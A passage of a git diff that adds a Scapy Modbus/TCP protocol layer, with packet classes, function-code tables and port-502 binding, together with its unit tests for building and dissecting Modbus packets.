pkt, x: x * 2), + FieldListField("registerVal", [0x0000], + ShortField("", 0x0000), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU17ReadWriteMultipleRegistersError(Packet): + name = "Read Write Multiple Exception" + fields_desc = [XByteField("funcCode", 0x97), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU18ReadFIFOQueueRequest(Packet): + name = "Read FIFO Queue" + fields_desc = [XByteField("funcCode", 0x18), + XShortField("FIFOPointerAddr", 0x0000)] + + +class ModbusPDU18ReadFIFOQueueResponse(Packet): + name = "Read FIFO Queue Response" + fields_desc = [XByteField("funcCode", 0x18), + # TODO: ByteCount must includes size of FIFOCount + BitFieldLenField("byteCount", None, 16, count_of="FIFOVal", + adjust=lambda pkt, p: p * 2 + 2), + BitFieldLenField("FIFOCount", None, 16, count_of="FIFOVal"), + FieldListField("FIFOVal", [], ShortField("", 0x0000), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU18ReadFIFOQueueError(Packet): + name = "Read FIFO Queue Exception" + fields_desc = [XByteField("funcCode", 0x98), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +# TODO: not implemented, out of the main specification +# class ModbusPDU2B0DCANOpenGeneralReferenceRequest(Packet): +# name = "CANopen General Reference Request" +# fields_desc = [] +# +# +# class ModbusPDU2B0DCANOpenGeneralReferenceResponse(Packet): +# name = "CANopen General Reference Response" +# fields_desc = [] +# +# +# class ModbusPDU2B0DCANOpenGeneralReferenceError(Packet): +# name = "CANopen General Reference Error" +# fields_desc = [] + + +# 0x2B/0x0E - Read Device Identification values +_read_device_id_codes = {1: "Basic", + 2: "Regular", + 3: "Extended", + 4: "Specific"} +# 0x00->0x02: mandatory +# 0x03->0x06: optional +# 0x07->0x7F: Reserved (optional) +# 0x80->0xFF: product dependent private objects (optional) +_read_device_id_object_id = {0x00: "VendorName", + 0x01: "ProductCode", + 0x02: "MajorMinorRevision", + 0x03: "VendorUrl", + 0x04: "ProductName", + 0x05: "ModelName", + 0x06: "UserApplicationName"} +_read_device_id_conformity_lvl = { + 0x01: "Basic Identification (stream only)", + 0x02: "Regular Identification (stream only)", + 0x03: "Extended Identification (stream only)", + 0x81: "Basic Identification (stream and individual access)", + 0x82: "Regular Identification (stream and individual access)", + 0x83: "Extended Identification (stream and individual access)", +} +_read_device_id_more_follow = {0x00: "No", + 0x01: "Yes"} + + +class ModbusPDU2B0EReadDeviceIdentificationRequest(Packet): + name = "Read Device Identification" + fields_desc = [XByteField("funcCode", 0x2B), + XByteField("MEIType", 0x0E), + ByteEnumField("readCode", 1, _read_device_id_codes), + ByteEnumField("objectId", 0x00, _read_device_id_object_id)] + + +class ModbusPDU2B0EReadDeviceIdentificationResponse(Packet): + name = "Read Device Identification" + fields_desc = [XByteField("funcCode", 0x2B), + XByteField("MEIType", 0x0E), + ByteEnumField("readCode", 4, _read_device_id_codes), + ByteEnumField("conformityLevel", 0x01, + _read_device_id_conformity_lvl), + ByteEnumField("more", 0x00, _read_device_id_more_follow), + ByteEnumField("nextObjId", 0x00, _read_device_id_object_id), + ByteField("objCount", 0x00)] + + def guess_payload_class(self, payload): + if self.objCount > 0: + return ModbusObjectId + else: + return Packet.guess_payload_class(self, payload) + + +class ModbusPDU2B0EReadDeviceIdentificationError(Packet): + name = "Read Exception Status Exception" + fields_desc = [XByteField("funcCode", 0xAB), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +_reserved_funccode_request = { + 0x09: '0x09 Unknown Reserved Request', + 0x0A: '0x0a Unknown Reserved Request', + 0x0D: '0x0d Unknown Reserved Request', + 0x0E: '0x0e Unknown Reserved Request', + 0x29: '0x29 Unknown Reserved Request', + 0x2A: '0x2a Unknown Reserved Request', + 0x5A: 'Specific Schneider Electric Request', + 0x5B: '0x5b Unknown Reserved Request', + 0x7D: '0x7d Unknown Reserved Request', + 0x7E: '0x7e Unknown Reserved Request', + 0x7F: '0x7f Unknown Reserved Request', +} + +_reserved_funccode_response = { + 0x09: '0x09 Unknown Reserved Response', + 0x0A: '0x0a Unknown Reserved Response', + 0x0D: '0x0d Unknown Reserved Response', + 0x0E: '0x0e Unknown Reserved Response', + 0x29: '0x29 Unknown Reserved Response', + 0x2A: '0x2a Unknown Reserved Response', + 0x5A: 'Specific Schneider Electric Response', + 0x5B: '0x5b Unknown Reserved Response', + 0x7D: '0x7d Unknown Reserved Response', + 0x7E: '0x7e Unknown Reserved Response', + 0x7F: '0x7f Unknown Reserved Response', +} + +_reserved_funccode_error = { + 0x89: '0x89 Unknown Reserved Error', + 0x8A: '0x8a Unknown Reserved Error', + 0x8D: '0x8d Unknown Reserved Error', + 0x8E: '0x8e Unknown Reserved Error', + 0xA9: '0x88 Unknown Reserved Error', + 0xAA: '0x88 Unknown Reserved Error', + 0xDA: 'Specific Schneider Electric Error', + 0xDB: '0xdb Unknown Reserved Error', + 0xDC: '0xdc Unknown Reserved Error', + 0xFD: '0xfd Unknown Reserved Error', + 0xFE: '0xfe Unknown Reserved Error', + 0xFF: '0xff Unknown Reserved Error', +} + + +class ModbusPDUReservedFunctionCodeRequest(_ModbusPDUNoPayload): + name = "Reserved Function Code Request" + fields_desc = [ + ByteEnumField("funcCode", 0x00, _reserved_funccode_request), + StrFixedLenField('payload', '', 255), ] + + def mysummary(self): + return self.sprintf("Modbus Reserved Request %funcCode%") + + +class ModbusPDUReservedFunctionCodeResponse(_ModbusPDUNoPayload): + name = "Reserved Function Code Response" + fields_desc = [ + ByteEnumField("funcCode", 0x00, _reserved_funccode_response), + StrFixedLenField('payload', '', 255), ] + + def mysummary(self): + return self.sprintf("Modbus Reserved Response %funcCode%") + + +class ModbusPDUReservedFunctionCodeError(_ModbusPDUNoPayload): + name = "Reserved Function Code Error" + fields_desc = [ + ByteEnumField("funcCode", 0x00, _reserved_funccode_error), + StrFixedLenField('payload', '', 255), ] + + def mysummary(self): + return self.sprintf("Modbus Reserved Error %funcCode%") + + +_userdefined_funccode_request = { +} +_userdefined_funccode_response = { +} +_userdefined_funccode_error = { +} + + +class ModbusByteEnumField(EnumField): + __slots__ = "defEnum" + + def __init__(self, name, default, enum, defEnum): + EnumField.__init__(self, name, default, enum, "B") + self.defEnum = defEnum + + def i2repr_one(self, pkt, x): + if self not in conf.noenum and not isinstance(x, VolatileValue) \ + and x in self.i2s: + return self.i2s[x] + if self.defEnum: + return self.defEnum + return repr(x) + + +class ModbusPDUUserDefinedFunctionCodeRequest(_ModbusPDUNoPayload): + name = "User-Defined Function Code Request" + fields_desc = [ + ModbusByteEnumField( + "funcCode", 0x00, _userdefined_funccode_request, + "Unknown user-defined request function Code"), + StrFixedLenField('payload', '', 255), ] + + def mysummary(self): + return self.sprintf("Modbus User-Defined Request %funcCode%") + + +class ModbusPDUUserDefinedFunctionCodeResponse(_ModbusPDUNoPayload): + name = "User-Defined Function Code Response" + fields_desc = [ + ModbusByteEnumField( + "funcCode", 0x00, _userdefined_funccode_response, + "Unknown user-defined response function Code"), + StrFixedLenField('payload', '', 255), ] + + def mysummary(self): + return self.sprintf("Modbus User-Defined Response %funcCode%") + + +class ModbusPDUUserDefinedFunctionCodeError(_ModbusPDUNoPayload): + name = "User-Defined Function Code Error" + fields_desc = [ + ModbusByteEnumField( + "funcCode", 0x00, _userdefined_funccode_error, + "Unknown user-defined error function Code"), + StrFixedLenField('payload', '', 255), ] + + def mysummary(self): + return self.sprintf("Modbus User-Defined Error %funcCode%") + + +class ModbusObjectId(Packet): + name = "Object" + fields_desc = [ByteEnumField("id", 0x00, _read_device_id_object_id), + BitFieldLenField("length", None, 8, length_of="value"), + StrLenField("value", "", + length_from=lambda pkt: pkt.length)] + + def guess_payload_class(self, payload): + return ModbusObjectId + + +_modbus_request_classes = { + 0x01: ModbusPDU01ReadCoilsRequest, + 0x02: ModbusPDU02ReadDiscreteInputsRequest, + 0x03: ModbusPDU03ReadHoldingRegistersRequest, + 0x04: ModbusPDU04ReadInputRegistersRequest, + 0x05: ModbusPDU05WriteSingleCoilRequest, + 0x06: ModbusPDU06WriteSingleRegisterRequest, + 0x07: ModbusPDU07ReadExceptionStatusRequest, + 0x08: ModbusPDU08DiagnosticsRequest, + 0x0B: ModbusPDU0BGetCommEventCounterRequest, + 0x0C: ModbusPDU0CGetCommEventLogRequest, + 0x0F: ModbusPDU0FWriteMultipleCoilsRequest, + 0x10: ModbusPDU10WriteMultipleRegistersRequest, + 0x11: ModbusPDU11ReportSlaveIdRequest, + 0x14: ModbusPDU14ReadFileRecordRequest, + 0x15: ModbusPDU15WriteFileRecordRequest, + 0x16: ModbusPDU16MaskWriteRegisterRequest, + 0x17: ModbusPDU17ReadWriteMultipleRegistersRequest, + 0x18: ModbusPDU18ReadFIFOQueueRequest, +} +_modbus_error_classes = { + 0x81: ModbusPDU01ReadCoilsError, + 0x82: ModbusPDU02ReadDiscreteInputsError, + 0x83: ModbusPDU03ReadHoldingRegistersError, + 0x84: ModbusPDU04ReadInputRegistersError, + 0x85: ModbusPDU05WriteSingleCoilError, + 0x86: ModbusPDU06WriteSingleRegisterError, + 0x87: ModbusPDU07ReadExceptionStatusError, + 0x88: ModbusPDU08DiagnosticsError, + 0x8B: ModbusPDU0BGetCommEventCounterError, + 0x0C: ModbusPDU0CGetCommEventLogError, + 0x8F: ModbusPDU0FWriteMultipleCoilsError, + 0x90: ModbusPDU10WriteMultipleRegistersError, + 0x91: ModbusPDU11ReportSlaveIdError, + 0x94: ModbusPDU14ReadFileRecordError, + 0x95: ModbusPDU15WriteFileRecordError, + 0x96: ModbusPDU16MaskWriteRegisterError, + 0x97: ModbusPDU17ReadWriteMultipleRegistersError, + 0x98: ModbusPDU18ReadFIFOQueueError, + 0xAB: ModbusPDU2B0EReadDeviceIdentificationError, +} +_modbus_response_classes = { + 0x01: ModbusPDU01ReadCoilsResponse, + 0x02: ModbusPDU02ReadDiscreteInputsResponse, + 0x03: ModbusPDU03ReadHoldingRegistersResponse, + 0x04: ModbusPDU04ReadInputRegistersResponse, + 0x05: ModbusPDU05WriteSingleCoilResponse, + 0x06: ModbusPDU06WriteSingleRegisterResponse, + 0x07: ModbusPDU07ReadExceptionStatusResponse, + 0x88: ModbusPDU08DiagnosticsResponse, + 0x8B: ModbusPDU0BGetCommEventCounterRequest, + 0x0C: ModbusPDU0CGetCommEventLogResponse, + 0x0F: ModbusPDU0FWriteMultipleCoilsResponse, + 0x10: ModbusPDU10WriteMultipleRegistersResponse, + 0x11: ModbusPDU11ReportSlaveIdResponse, + 0x14: ModbusPDU14ReadFileRecordResponse, + 0x15: ModbusPDU15WriteFileRecordResponse, + 0x16: ModbusPDU16MaskWriteRegisterResponse, + 0x17: ModbusPDU17ReadWriteMultipleRegistersResponse, + 0x18: ModbusPDU18ReadFIFOQueueResponse, +} +_mei_types_request = { + 0x0E: ModbusPDU2B0EReadDeviceIdentificationRequest, + # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceRequest, +} +_mei_types_response = { + 0x0E: ModbusPDU2B0EReadDeviceIdentificationResponse, + # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceResponse, +} + + +class ModbusADURequest(Packet): + name = "ModbusADU" + fields_desc = [ + # needs to be unique + XShortField("transId", 0x0000), + # needs to be zero (Modbus) + XShortField("protoId", 0x0000), + # is calculated with payload + ShortField("len", None), + # 0xFF (recommended as non-significant value) or 0x00 + XByteField("unitId", 0xff), + ] + + def guess_payload_class(self, payload): + function_code = orb(payload[0]) + + if function_code == 0x2B: + sub_code = orb(payload[1]) + try: + return _mei_types_request[sub_code] + except KeyError: + pass + try: + return _modbus_request_classes[function_code] + except KeyError: + pass + if function_code in _reserved_funccode_request: + return ModbusPDUReservedFunctionCodeRequest + return ModbusPDUUserDefinedFunctionCodeRequest + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(pay) + 1 # +len(p) + p = p[:4] + struct.pack("!H", tmp_len) + p[6:] + return p + pay + + +class ModbusADUResponse(Packet): + name = "ModbusADU" + fields_desc = [ + # needs to be unique + XShortField("transId", 0x0000), + # needs to be zero (Modbus) + XShortField("protoId", 0x0000), + # is calculated with payload + ShortField("len", None), + # 0xFF or 0x00 should be used for Modbus over TCP/IP + XByteField("unitId", 0xff), + ] + + def guess_payload_class(self, payload): + function_code = orb(payload[0]) + + if function_code == 0x2B: + sub_code = orb(payload[1]) + try: + return _mei_types_response[sub_code] + except KeyError: + pass + try: + return _modbus_response_classes[function_code] + except KeyError: + pass + try: + return _modbus_error_classes[function_code] + except KeyError: + pass + if function_code in _reserved_funccode_response: + return ModbusPDUReservedFunctionCodeResponse + elif function_code in _reserved_funccode_error: + return ModbusPDUReservedFunctionCodeError + if function_code < 0x80: + return ModbusPDUUserDefinedFunctionCodeResponse + return ModbusPDUUserDefinedFunctionCodeError + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(pay) + 1 # +len(p) + p = p[:4] + struct.pack("!H", tmp_len) + p[6:] + return p + pay + + +bind_layers(TCP, ModbusADURequest, dport=502) +bind_layers(TCP, ModbusADUResponse, sport=502) diff --git a/libs/scapy/contrib/modbus.uts b/libs/scapy/contrib/modbus.uts new file mode 100755 index 0000000..18fea58 --- /dev/null +++ b/libs/scapy/contrib/modbus.uts @@ -0,0 +1,309 @@ +% Modbus layer test campaign + ++ Syntax check += Import the modbus layer +from scapy.contrib.modbus import * + ++ Test MBAP += MBAP default values +raw(ModbusADURequest()) == b'\x00\x00\x00\x00\x00\x01\xff' + += MBAP payload length calculation +raw(ModbusADURequest() / b'\x00\x01\x02') == b'\x00\x00\x00\x00\x00\x04\xff\x00\x01\x02' + += MBAP Guess Payload ModbusPDU01ReadCoilsRequest (simple case) +p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x01\x00\x00\x00\x01') +assert(isinstance(p.payload, ModbusPDU01ReadCoilsRequest)) += MBAP Guess Payload ModbusPDU01ReadCoilsResponse +p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x04\xff\x01\x01\x01') +assert(isinstance(p.payload, ModbusPDU01ReadCoilsResponse)) += MBAP Guess Payload ModbusPDU01ReadCoilsError +p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x81\x02') +assert(isinstance(p.payload, ModbusPDU01ReadCoilsError)) + += MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationRequest (2 level test) +p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x04\xff+\x0e\x01\x00') +assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationRequest)) += MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationResponse +p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x1b\xff+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0') +assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationResponse)) += MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationError +p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\xab\x01') +assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationError)) + += MBAP Guess Payload Reserved Function Request (Invalid payload) +p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x5b') +assert(isinstance(p.payload,ModbusPDUReservedFunctionCodeRequest)) += MBAP Guess Payload Reserved Function Response (Invalid payload) +p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x7e') +assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse)) += MBAP Guess Payload Reserved Function Error (Invalid payload) +p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x8a') +assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeError)) + += MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse +assert raw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\x02\x01\x00' += MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse minimal parameters +assert raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\x02\x02\x02\x01' += MBAP Guess Payload ModbusPDU02ReadDiscreteInputsRequest dissection +p = ModbusPDU02ReadDiscreteInputsResponse(b'\x02\x02\x02\x01') +p.byteCount == 2 and p.inputStatus == [0x02, 0x01] + += ModbusPDU02ReadDiscreteInputsError +raw(ModbusPDU02ReadDiscreteInputsError()) == b'\x82\x01' + += MBAP Guess Payload User-Defined Function Request (Invalid payload) +p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x5b') +assert isinstance(p.payload, ModbusPDUReservedFunctionCodeRequest) += MBAP Guess Payload User-Defined Function Response (Invalid payload) +p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x7e') +assert isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse) += MBAP Guess Payload User-Defined Function Error (Invalid payload) +p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x8a') +assert isinstance(p.payload, ModbusPDUReservedFunctionCodeError) + ++ Test layer binding += Destination port +p = TCP()/ModbusADURequest() +p[TCP].dport == 502 + += Source port +p = TCP()/ModbusADUResponse() +p[TCP].sport == 502 + ++ Test PDU +* Note on tests cases: dissection/minimal parameters will not be done for packets that does not perform calculation +# 0x01/0x81 Read Coils -------------------------------------------------------------- += ModbusPDU01ReadCoilsRequest +raw(ModbusPDU01ReadCoilsRequest()) == b'\x01\x00\x00\x00\x01' += ModbusPDU01ReadCoilsRequest minimal parameters +raw(ModbusPDU01ReadCoilsRequest(startAddr=16, quantity=2)) == b'\x01\x00\x10\x00\x02' += ModbusPDU01ReadCoilsRequest dissection +p = ModbusPDU01ReadCoilsRequest(b'\x01\x00\x10\x00\x02') +assert(p.startAddr == 16) +assert(p.quantity == 2) + += ModbusPDU01ReadCoilsResponse +raw(ModbusPDU01ReadCoilsResponse()) == b'\x01\x01\x00' += ModbusPDU01ReadCoilsResponse minimal parameters +raw(ModbusPDU01ReadCoilsResponse(coilStatus=[0x10]*3)) == b'\x01\x03\x10\x10\x10' += ModbusPDU01ReadCoilsResponse dissection +p = ModbusPDU01ReadCoilsResponse(b'\x01\x03\x10\x10\x10') +assert(p.coilStatus == [16, 16, 16]) +assert(p.byteCount == 3) + += ModbusPDU01ReadCoilsError +raw(ModbusPDU01ReadCoilsError()) == b'\x81\x01' += ModbusPDU81ReadCoilsError minimal parameters +raw(ModbusPDU01ReadCoilsError(exceptCode=2)) == b'\x81\x02' += ModbusPDU81ReadCoilsError dissection +p = ModbusPDU01ReadCoilsError(b'\x81\x02') +assert(p.funcCode == 0x81) +assert(p.exceptCode == 2) + +# 0x02/0x82 Read Discrete Inputs Registers ------------------------------------------ += ModbusPDU02ReadDiscreteInputsRequest +raw(ModbusPDU02ReadDiscreteInputsRequest()) == b'\x02\x00\x00\x00\x01' += ModbusPDU02ReadDiscreteInputsRequest minimal parameters +raw(ModbusPDU02ReadDiscreteInputsRequest(startAddr=8, quantity=128)) == b'\x02\x00\x08\x00\x80' + += ModbusPDU02ReadDiscreteInputsResponse +raw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\x02\x01\x00' += ModbusPDU02ReadDiscreteInputsResponse minimal parameters +raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\x02\x02\x02\x01' += ModbusPDU02ReadDiscreteInputsRequest dissection +p = ModbusPDU02ReadDiscreteInputsResponse(b'\x02\x02\x02\x01') +assert(p.byteCount == 2) +assert(p.inputStatus == [0x02, 0x01]) + += ModbusPDU02ReadDiscreteInputsError +raw(ModbusPDU02ReadDiscreteInputsError()) == b'\x82\x01' + +# 0x03/0x83 Read Holding Registers -------------------------------------------------- += ModbusPDU03ReadHoldingRegistersRequest +raw(ModbusPDU03ReadHoldingRegistersRequest()) == b'\x03\x00\x00\x00\x01' += ModbusPDU03ReadHoldingRegistersRequest minimal parameters +raw(ModbusPDU03ReadHoldingRegistersRequest(startAddr=2048, quantity=16)) == b'\x03\x08\x00\x00\x10' + += ModbusPDU03ReadHoldingRegistersResponse +raw(ModbusPDU03ReadHoldingRegistersResponse()) == b'\x03\x02\x00\x00' += ModbusPDU03ReadHoldingRegistersResponse minimal parameters +1==1 += ModbusPDU03ReadHoldingRegistersResponse dissection +p = ModbusPDU03ReadHoldingRegistersResponse(b'\x03\x06\x02+\x00\x00\x00d') +assert(p.byteCount == 6) +assert(p.registerVal == [555, 0, 100]) + += ModbusPDU03ReadHoldingRegistersError +raw(ModbusPDU03ReadHoldingRegistersError()) == b'\x83\x01' + +# 0x04/0x84 Read Input Register ----------------------------------------------------- += ModbusPDU04ReadInputRegistersRequest +raw(ModbusPDU04ReadInputRegistersRequest()) == b'\x04\x00\x00\x00\x01' + += ModbusPDU04ReadInputRegistersResponse +raw(ModbusPDU04ReadInputRegistersResponse()) == b'\x04\x02\x00\x00' += ModbusPDU04ReadInputRegistersResponse minimal parameters +raw(ModbusPDU04ReadInputRegistersResponse(registerVal=[0x01, 0x02])) == b'\x04\x04\x00\x01\x00\x02' + += ModbusPDU04ReadInputRegistersError +raw(ModbusPDU04ReadInputRegistersError()) == b'\x84\x01' + +# 0x05/0x85 Write Single Coil ------------------------------------------------------- += ModbusPDU05WriteSingleCoilRequest +raw(ModbusPDU05WriteSingleCoilRequest()) == b'\x05\x00\x00\x00\x00' + += ModbusPDU05WriteSingleCoilResponse +raw(ModbusPDU05WriteSingleCoilResponse()) == b'\x05\x00\x00\x00\x00' + += ModbusPDU05WriteSingleCoilError +raw(ModbusPDU05WriteSingleCoilError()) == b'\x85\x01' + +# 0x06/0x86 Write Single Register --------------------------------------------------- += ModbusPDU06WriteSingleRegisterError +raw(ModbusPDU06WriteSingleRegisterRequest()) == b'\x06\x00\x00\x00\x00' + += ModbusPDU06WriteSingleRegisterResponse +raw(ModbusPDU06WriteSingleRegisterResponse()) == b'\x06\x00\x00\x00\x00' + += ModbusPDU06WriteSingleRegisterError +raw(ModbusPDU06WriteSingleRegisterError()) == b'\x86\x01' + +# 0x07/0x87 Read Exception Status (serial line only) -------------------------------- +# 0x08/0x88 Diagnostics (serial line only) ------------------------------------------ +# 0x0b Get Comm Event Counter: serial line only ------------------------------------- +# 0x0c Get Comm Event Log: serial line only ----------------------------------------- + +# 0x0f/0x8f Write Multiple Coils ---------------------------------------------------- += ModbusPDU0FWriteMultipleCoilsRequest +raw(ModbusPDU0FWriteMultipleCoilsRequest()) += ModbusPDU0FWriteMultipleCoilsRequest minimal parameters +raw(ModbusPDU0FWriteMultipleCoilsRequest(outputsValue=[0x01, 0x01])) == b'\x0f\x00\x00\x00\x01\x02\x01\x01' + += ModbusPDU0FWriteMultipleCoilsResponse +raw(ModbusPDU0FWriteMultipleCoilsResponse()) == b'\x0f\x00\x00\x00\x01' + += ModbusPDU0FWriteMultipleCoilsError +raw(ModbusPDU0FWriteMultipleCoilsError()) == b'\x8f\x01' + +# 0x10/0x90 Write Multiple Registers ---------------------------------------------------- += ModbusPDU10WriteMultipleRegistersRequest +raw(ModbusPDU10WriteMultipleRegistersRequest()) == b'\x10\x00\x00\x00\x01\x02\x00\x00' += ModbusPDU10WriteMultipleRegistersRequest minimal parameters +raw(ModbusPDU10WriteMultipleRegistersRequest(outputsValue=[0x0001, 0x0002])) == b'\x10\x00\x00\x00\x02\x04\x00\x01\x00\x02' + += ModbusPDU10WriteMultipleRegistersResponse +raw(ModbusPDU10WriteMultipleRegistersResponse()) == b'\x10\x00\x00\x00\x01' + += ModbusPDU10WriteMultipleRegistersError +raw(ModbusPDU10WriteMultipleRegistersError()) == b'\x90\x01' + +# 0x11/91 Report Server ID: serial line only ---------------------------------------- + +# 0x14/944 Read File Record --------------------------------------------------------- += ModbusPDU14ReadFileRecordRequest len parameters +p = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest()/ModbusReadFileSubRequest()) +assert(p == b'\x14\x0e\x06\x00\x01\x00\x00\x00\x01\x06\x00\x01\x00\x00\x00\x01') += ModbusPDU14ReadFileRecordRequest minimal parameters +p = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest(fileNumber=4, recordNumber=1, recordLength=2)/ModbusReadFileSubRequest(fileNumber=3, recordNumber=9, recordLength=2)) +assert(p == b'\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02') += ModbusPDU14ReadFileRecordRequest dissection +p = ModbusPDU14ReadFileRecordRequest(b'\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02') +assert(isinstance(p.payload, ModbusReadFileSubRequest)) +assert(isinstance(p.payload.payload, ModbusReadFileSubRequest)) + += ModbusPDU14ReadFileRecordResponse minimal parameters +raw(ModbusPDU14ReadFileRecordResponse()/ModbusReadFileSubResponse(recData=[0x0dfe, 0x0020])/ModbusReadFileSubResponse(recData=[0x33cd, 0x0040])) == b'\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@' += ModbusPDU14ReadFileRecordResponse dissection +p = ModbusPDU14ReadFileRecordResponse(b'\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@') +assert(isinstance(p.payload, ModbusReadFileSubResponse)) +assert(isinstance(p.payload.payload, ModbusReadFileSubResponse)) + += ModbusPDU14ReadFileRecordError +raw(ModbusPDU14ReadFileRecordError()) == b'\x94\x01' + +# 0x15/0x95 Write File Record ------------------------------------------------------- += ModbusPDU15WriteFileRecordRequest minimal parameters +raw(ModbusPDU15WriteFileRecordRequest()/ModbusWriteFileSubRequest(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r' += ModbusPDU15WriteFileRecordRequest dissection +p = ModbusPDU15WriteFileRecordRequest(b'\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r') +assert(isinstance(p.payload, ModbusWriteFileSubRequest)) +assert(p.payload.recordLength == 3) + += ModbusPDU15WriteFileRecordResponse minimal parameters +raw(ModbusPDU15WriteFileRecordResponse()/ModbusWriteFileSubResponse(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r' += ModbusPDU15WriteFileRecordResponse dissection +p = ModbusPDU15WriteFileRecordResponse(b'\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r') +assert(isinstance(p.payload, ModbusWriteFileSubResponse)) +assert(p.payload.recordLength == 3) + += ModbusPDU15WriteFileRecordError +raw(ModbusPDU15WriteFileRecordError()) == b'\x95\x01' + +# 0x16/0x96 Mask Write Register ----------------------------------------------------- += ModbusPDU16MaskWriteRegisterRequest +raw(ModbusPDU16MaskWriteRegisterRequest()) == b'\x16\x00\x00\xff\xff\x00\x00' + += ModbusPDU16MaskWriteRegisterResponse +raw(ModbusPDU16MaskWriteRegisterResponse()) == b'\x16\x00\x00\xff\xff\x00\x00' + += ModbusPDU16MaskWriteRegisterError +raw(ModbusPDU16MaskWriteRegisterError()) == b'\x96\x01' + +# 0x17/0x97 Read/Write Multiple Registers ------------------------------------------- += ModbusPDU17ReadWriteMultipleRegistersRequest +raw(ModbusPDU17ReadWriteMultipleRegistersRequest()) == b'\x17\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00' += ModbusPDU17ReadWriteMultipleRegistersRequest minimal parameters +raw(ModbusPDU17ReadWriteMultipleRegistersRequest(writeRegistersValue=[0x0001, 0x0002])) == b'\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02' += ModbusPDU17ReadWriteMultipleRegistersRequest dissection +p = ModbusPDU17ReadWriteMultipleRegistersRequest(b'\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02') +assert(p.byteCount == 4) +assert(p.writeQuantityRegisters == 2) + += ModbusPDU17ReadWriteMultipleRegistersResponse +raw(ModbusPDU17ReadWriteMultipleRegistersResponse()) == b'\x17\x02\x00\x00' += ModbusPDU17ReadWriteMultipleRegistersResponse minimal parameters +raw(ModbusPDU17ReadWriteMultipleRegistersResponse(registerVal=[1,2,3])) == b'\x17\x06\x00\x01\x00\x02\x00\x03' += ModbusPDU17ReadWriteMultipleRegistersResponse dissection +raw(ModbusPDU17ReadWriteMultipleRegistersResponse(b'\x17\x02\x00\x01')) == b'\x17\x02\x00\x01' + += ModbusPDU17ReadWriteMultipleRegistersError +raw(ModbusPDU17ReadWriteMultipleRegistersError()) == b'\x97\x01' + +# 0x18/0x88 Read FIFO Queue --------------------------------------------------------- += ModbusPDU18ReadFIFOQueueRequest +raw(ModbusPDU18ReadFIFOQueueRequest()) == b'\x18\x00\x00' + += ModbusPDU18ReadFIFOQueueResponse += ModbusPDU18ReadFIFOQueueResponse +raw(ModbusPDU18ReadFIFOQueueResponse()) == b'\x18\x00\x02\x00\x00' += ModbusPDU18ReadFIFOQueueResponse minimal parameters +raw(ModbusPDU18ReadFIFOQueueResponse(FIFOVal=[0x0001, 0x0002, 0x0003])) == b'\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03' += ModbusPDU18ReadFIFOQueueResponse dissection +p = ModbusPDU18ReadFIFOQueueResponse(b'\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03') +assert(p.byteCount == 8) +assert(p.FIFOCount == 3) + += ModbusPDU18ReadFIFOQueueError +raw(ModbusPDU18ReadFIFOQueueError()) == b'\x98\x01' + +# 0x2b encapsulated Interface Transport --------------------------------------------- +# 0x2b 0xOD CANopen General Reference (out of the main specification) --------------- + +# 0x2b 0xOE Read Device Information ------------------------------------------------- += 